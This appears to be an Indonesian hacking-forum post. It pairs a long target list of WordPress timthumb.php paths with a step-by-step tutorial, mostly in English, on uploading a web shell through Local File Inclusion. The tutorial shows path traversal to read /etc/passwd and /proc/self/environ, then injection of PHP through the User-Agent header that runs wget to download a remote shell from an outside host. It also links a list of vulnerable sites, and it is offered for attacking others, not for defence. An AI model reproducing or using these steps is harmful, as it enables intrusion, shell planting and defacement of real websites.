wp-content/themes/flix/timthumb.php
wp-content/themes/fliphoto/timthumb.php
wp-content/themes/featuring/timthumb.php
wp-content/themes/famous/timthumb.php
wp-content/themes/evr-green/scripts/timthumb.php
wp-content/themes/epione/script/timthumb.php
wp-content/themes/dimenzion/timthumb.php
wp-content/themes/deep-blue/timthumb.php
wp-content/themes/dark-dream-media/timthumb.php
wp-content/themes/coverht-wp/scripts/timthumb.php
wp-content/themes/cover-wp/scripts/timthumb.php
wp-content/themes/constructor/timthumb.php
wp-content/themes/constructor/libs/timthumb.php
wp-content/themes/conceditor-wp-strict/scripts/timthumb.php
wp-content/themes/comet/scripts/timthumb.php
wp-content/themes/calotropis/includes/timthumb.php
wp-content/themes/business-turnkey/assets/js/timthumb.php
wp-content/themes/brochure-melbourne/includes/timthumb.php
wp-content/themes/brightsky/scripts/timthumb.php
wp-content/themes/breakingnewz/timthumb.php
wp-content/themes/bombax/includes/timthumb.php
wp-content/themes/bluemag/library/timthumb.php
wp-content/themes/blue-news/scripts/timthumb.php
wp-content/themes/blue-corporate-hyve-theme/timthumb.php
wp-content/themes/blogified/timthumb.php
wp-content/themes/bloggnorge-a1/scripts/timthumb.php
wp-content/themes/blex/scripts/timthumb.php
wp-content/themes/black_eve/timthumb.php
wp-content/themes/automotive-blog-theme/timthumb.php
wp-content/themes/automotive-blog-theme/Quick%20Cash%20Auto/timthumb.php
wp-content/themes/aurorae/timthumb.php
wp-content/themes/aureola/scripts/timthumb.php
wp-content/themes/artisan/includes/timthumb.php
wp-content/themes/arthemix-green/scripts/timthumb.php
wp-content/themes/arthemix-bronze/scripts/timthumb.php
wp-content/themes/arras/library/timthumb.php
wp-content/themes/arras-theme/library/timthumb.php
wp-content/themes/aranovo/scripts/timthumb.php
wp-content/themes/aqua-blue/includes/timthumb.php
wp-content/themes/amphion-lite/script/timthumb.php
wp-content/themes/albizia/includes/timthumb.php
wp-content/themes/aesthete/timthumb.php
wp-content/themes/aerial/lib/timthumb.php
wp-content/themes/a-supercms/timthumb.php
wp-content/themes/a-simple-business-theme/scripts/timthumb.php
wp-content/themes/8q/scripts/timthumb.php
wp-content/themes/zcool-like/timthumb.php
wp-content/themes/wpbus-d4/includes/timthumb.php
wp-content/themes/wp-premium-orange/timthumb.php
wp-content/themes/wp-perfect/js/timthumb.php
wp-content/themes/wp-newsmagazine/scripts/timthumb.php
wp-content/themes/wp-creativix/scripts/timthumb.php
wp-content/themes/vibefolio-teaser-10/scripts/timthumb.php
wp-content/themes/versitility/timthumb.php
wp-content/themes/unity/timthumb.php
wp-content/themes/ugly/timthumb.php
wp-content/themes/typographywp/timthumb.php
wp-content/themes/twittplus/scripts/timthumb.php
wp-content/themes/ttnews-theme/timthumb.php
wp-content/themes/true-blue-theme/timthumb.php
wp-content/themes/travelogue-theme/scripts/timthumb.php
wp-content/themes/totallyred/scripts/timthumb.php
wp-content/themes/tm-theme/js/timthumb.php
wp-content/themes/the_dark_os/tools/timthumb.php
wp-content/themes/swift/timthumb.php
wp-content/themes/swift/includes/timthumb.php
wp-content/themes/suffusion/timthumb.php
wp-content/themes/squeezepage/timthumb.php
wp-content/themes/spotlight/timthumb.php
wp-content/themes/slidette/timThumb/timthumb.php
wp-content/themes/simplewhite/timthumb.php
wp-content/themes/simplenews_premium/scripts/timthumb.php
wp-content/themes/simple-red-theme/timthumb.php
wp-content/themes/simple-but-great/timthumb.php
wp-content/themes/shadow/timthumb.php
wp-content/themes/shaan/timthumb.php
wp-content/themes/regal/timthumb.php
wp-content/themes/probluezine/timthumb.php
wp-content/themes/postage-sydney/includes/timthumb.php
wp-content/themes/pico/scripts/timthumb.php
wp-content/themes/pearlie/scripts/timthumb.php
wp-content/themes/new-green-natural-living-ngnl/scripts/timthumb.php
wp-content/themes/neofresh/timthumb.php
wp-content/themes/nash/theme-assets/php/timthumb.php
wp-content/themes/mystique/extensions/auto-thumb/timthumb.php
wp-content/themes/mymag/timthumb.php
wp-content/themes/my-heli/images/timthumb.php
wp-content/themes/moi-magazine/timthumb.php
wp-content/themes/make-money-online-theme/scripts/timthumb.php
wp-content/themes/make-money-online-theme-4/scripts/timthumb.php
wp-content/themes/make-money-online-theme-3/scripts/timthumb.php
wp-content/themes/make-money-online-theme-2/scripts/timthumb.php
wp-content/themes/make-money-online-theme-1/scripts/timthumb.php
wp-content/themes/magup/timthumb.php
wp-content/themes/litepress/scripts/timthumb.php
wp-content/themes/likehacker/timthumb.php
wp-content/themes/jellyfish/lib/rt-timthumb.php
wp-content/themes/iwana-v10/timthumb.php
wp-content/themes/impressio/timthumb/timthumb.php
wp-content/themes/ideatheme/timthumb.php
wp-content/themes/here-comes-the-bride/lib/rt-timthumb.php
wp-content/themes/heli-1-wordpress-theme/images/timthumb.php
wp-content/themes/greyzed/functions/efrog/lib/timthumb.php
wp-content/themes/greydove/timthumb.php
wp-content/themes/granite-lite/scripts/timthumb.php
wp-content/themes/go-green/modules/timthumb.php
wp-content/themes/fresh-blu/scripts/timthumb.php
wp-content/themes/flix/timthumb.php
wp-content/themes/fliphoto/timthumb.php
wp-content/themes/featuring/timthumb.php
wp-content/themes/famous/timthumb.php
wp-content/themes/evr-green/scripts/timthumb.php
wp-content/themes/epione/script/timthumb.php
wp-content/themes/dimenzion/timthumb.php
wp-content/themes/deep-blue/timthumb.php
wp-content/themes/dark-dream-media/timthumb.php
wp-content/themes/coverht-wp/scripts/timthumb.php
wp-content/themes/cover-wp/scripts/timthumb.php
wp-content/themes/constructor/timthumb.php
wp-content/themes/constructor/libs/timthumb.php
wp-content/themes/conceditor-wp-strict/scripts/timthumb.php
wp-content/themes/comet/scripts/timthumb.php
wp-content/themes/calotropis/includes/timthumb.php
wp-content/themes/business-turnkey/assets/js/timthumb.php
wp-content/themes/brochure-melbourne/includes/timthumb.php
wp-content/themes/brightsky/scripts/timthumb.php
wp-content/themes/breakingnewz/timthumb.php
wp-content/themes/bombax/includes/timthumb.php
wp-content/themes/bluemag/library/timthumb.php
wp-content/themes/blue-news/scripts/timthumb.php
wp-content/themes/blue-corporate-hyve-theme/timthumb.php
wp-content/themes/blogified/timthumb.php
wp-content/themes/bloggnorge-a1/scripts/timthumb.php
wp-content/themes/blex/scripts/timthumb.php
wp-content/themes/black_eve/timthumb.php
wp-content/themes/automotive-blog-theme/timthumb.php
wp-content/themes/automotive-blog-theme/Quick%20Cash%20Auto/timthumb.php
wp-content/themes/aurorae/timthumb.php
wp-content/themes/aureola/scripts/timthumb.php
wp-content/themes/artisan/includes/timthumb.php
wp-content/themes/arthemix-green/scripts/timthumb.php
wp-content/themes/arthemix-bronze/scripts/timthumb.php
wp-content/themes/arras/library/timthumb.php
wp-content/themes/arras-theme/library/timthumb.php
wp-content/themes/aranovo/scripts/timthumb.php
wp-content/themes/aqua-blue/includes/timthumb.php
wp-content/themes/amphion-lite/script/timthumb.php
wp-content/themes/albizia/includes/timthumb.php
wp-content/themes/aesthete/timthumb.php
wp-content/themes/aerial/lib/timthumb.php
wp-content/themes/a-supercms/timthumb.php
wp-content/themes/a-simple-business-theme/scripts/timthumb.php
wp-content/themes/8q/scripts/timthumb.php
wp-content/plugins/category-grid-view-gallery/includes/timthumb.php
wp-content/plugins/wp-marketplace/libs/timthumb.php
wp-content/plugins/dp-thumbnail/timthumb/timthumb.php
wp-content/plugins/vk-gallery/lib/timthumb.php
wp-content/plugins/cac-featured-content/timthumb.php
wp-content/plugins/rent-a-car/libs/timthumb.php
wp-content/plugins/lisl-last-image-slider/timthumb.php
wp-content/plugins/islidex/js/timthumb.php
wp-content/plugins/kino-gallery/timthumb.php
wp-content/plugins/cms-pack/timthumb.php
wp-content/plugins/a-gallery/timthumb.php
wp-content/plugins/category-list-portfolio-page/scripts/timthumb.php
wp-content/plugins/verve-meta-boxes/tools/timthumb.php
wp-content/plugins/extend-wordpress/helpers/timthumb/image.php
wp-content/plugins/timthumb-vulnerability-scanner/cg-tvs-admin-panel.php
wp-content/plugins/wp-marketplace/libs/timthumb.php
wp-content/plugins/category-grid-view-gallery/includes/timthumb.php
wp-content/plugins/wp-marketplace/libs/timthumb.php
wp-content/plugins/dp-thumbnail/timthumb/timthumb.php
wp-content/plugins/vk-gallery/lib/timthumb.php
wp-content/plugins/dp-thumbnail/timthumb/timthumb.php
wp-content/plugins/vk-gallery/lib/timthumb.php
wp-content/plugins/uBillboard/timthumb.php

Sekian Dulu 

Bug dork timthumb 2012

Assalamualaikum Semuanya ... Ketemu lagi dengan saya Rz Exe
kali ini gua akan ngasih tau cara tanem/upload shell dari Local file Inclusion ( LFI ) ( Bahasa Inggris )
Langsung aja yah :
(sedikit tambahan)
ini site list Yg Vuln LFI : http://pastebin.com/wBsMqh5P

1 :: Intro
2 :: Finding LFI
3 :: Checking if proc/self/environ is accessible
4 :: Injecting malicious code
5 :: Access our shell


./ 1 :: Intro


In this guild i will be showing you how to put a shell on website using "Local File Inclusion" vulnerabilities and the injection of malicious code in 'pro/self/environ'


./ 2 :: Finding LFI


Now i will show you how to find a Local File Inclusion vulnerable sites. This will help us find are target quicker.


http://www.targetsite.com/view.php?page=contact.php


- Now we will replace "contact.php" with "../" so the URL will become


http://www.targetsite.com/view.php?page=../


and we got an error


Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/targetsite.com/view.php on line 1337


big chances to have a Local File Inclusion vulnerability.Let’s go to next step.


- Now we check for etc/passwd to see the if it is a Local File Inclusion vulnerable. Now try making a request :


http://www.targetsite.com/view.php?page=../../../etc/passwd


we get a error and no etc/passwd file


Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/targetsite.com/view.php on line 1337


so we will go more directories up


http://www.targetsite.com/view.php?page=../../../../../etc/passwd


we have succesfully included the etc/passwd file.


root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin


./ 3 :: Checking if proc/self/environ is accessible


- Now we need to see if proc/self/environ is accessible. We would replace etc/passwd with proc/self/environ


www.targetsite.com/view.php?page=../../../../../proc/self/environ


If you end up getting something like this,


DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at http://www.targetsite.com Port 80


That means, proc/self/environ is accessible. If you are to get a blank page, an error proc/self/environ is not accessible or the OS is FreeBSD.


./ 4 :: Injecting malicious code


- Now we will inject our malicious code in proc/self/environ. The reason we are able to do this, is because, we can inject our code in the user-Agent HTTP header.


Use Tamper Data Addon for Firefox to change the User-Agent. Start Tamper Data in Firefox and request the URL :


http://www.targetsite.com/view.php?page=../../../../../proc/self/environ


Choose Tamper and in User-Agent filed write the following code :


<?system(‘wget http://www.sh3ll.org/egy.txt -O shell.php’);?>


Then submit the request.


Our command will be executed (will download the txt shell from http://www.sh3ll.org/egy.txt and will save it as shell.php in the
website directory) through system(), and our shell will be created.If don’t work,try exec() because system() can be disabled on the webserver from php.ini.


./ 5 :: Access our shell


- Now lets check if our malicous code was successfully injected.Lets check if the shell is present.


http://www.targetsite.com/shell.php


Dan Taraaaa shell kamu sukses tertanam !!!

Sekian dulu tutor dari saya orang paling ganteng di antara author" dan admin" deface zone maupun di jagad raya ini =))

Bye Bye :*

Cara Upload Shell via LFI